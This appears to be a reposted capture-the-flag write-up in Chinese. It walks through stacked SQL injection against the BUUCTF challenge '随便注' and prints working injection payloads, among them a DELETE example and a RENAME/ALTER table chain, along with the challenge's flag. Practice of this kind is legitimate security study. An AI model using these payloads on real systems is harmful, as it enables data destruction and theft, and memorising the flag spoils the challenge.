BUUCTF-Web-随便注-wp

0x01 知识点

SQL注入-堆叠注入
sql预处理语句
巧用contact()函数绕过

0x02 知识铺垫

在SQL中,分号(;)是用来表示一条sql语句的结束。在分号(;)结束一个sql语句后继续构造下一条语句,而后根据结果判断两条甚至多条SQL语句会不会一起执行?这种注入方式称为堆叠注入。

union injection(联合注入)是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入:1; DELETE FROM products
服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

0x03 重命名+堆叠注入

打开题目,显示如下界面,根据题目以及界面,判断属于 SQL 注入类问题
在这里插入图片描述

0x04 判断是否存在注入,注入是字符型还是数字型

输入1’发现不回显
输入1’ #显示正常
从而判断存在 SQL 注入
输入1’ or ‘1’='1,正常回显,判断注入类型为字符型注入
在这里插入图片描述

0x05 猜解SQL查询语句中的字段数

输入1’ order by 1 # 成功回显在这里插入图片描述
输入1’ order by 2 # 成功回显在这里插入图片描述
输入1’ order by 3 # 回显错误
[图片上传失败…(image-2ea278-1567002658869)]
所以只有两个字段

0x06 显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则
在这里插入图片描述
这也就意味这页面对 select,update,delete,drop,insert,where 和 . 进行了过滤,根据经验判断是否存在堆叠注入

0x07 堆叠注入测试

输入1’;show databases;#
在这里插入图片描述
根据返回结果可以判断出存在堆叠注入

0x08 查询表

输入1’;show tables;# 成功回显
在这里插入图片描述

0x09 查询表内字段

0x09a 知识铺垫

linux下不区分,windows下区分
区别:
单引号( ’ )或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;

扫描二维码关注公众号,回复: 13119569 查看本文章

反勾号( ` ) 主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM `table` WHERE `from` = ‘abc’ ;

输入1’; show columns from `words`; # 字段使用的是反勾号( ` )
在这里插入图片描述

输入1’; show columns from `1919810931114514`; # 字段使用的是反勾号( ` )
在这里插入图片描述
查找到 flag 的字段 ,两张表分别是 word 和 1919810931114514,回显内容肯定是从word这张表中回显的,因此需要一种方式让它回显 flag 所在的表。

根据先前获得的信息判断可以使用 alert 和 rename,那么可以尝试、把表进行改名,再给列改个名字。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

构造注入语句:

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE
utf8_general_ci NOT NULL;show columns from words;#

在这里插入图片描述

0x10 get flag

输入1’ or ‘1’='1 ,查询就得到 flag
在这里插入图片描述
flag{ebdc096a-e76e-4a76-8c3f-32d8b375e85d}

猜你喜欢

转载自blog.csdn.net/single7_/article/details/111151723
今日推荐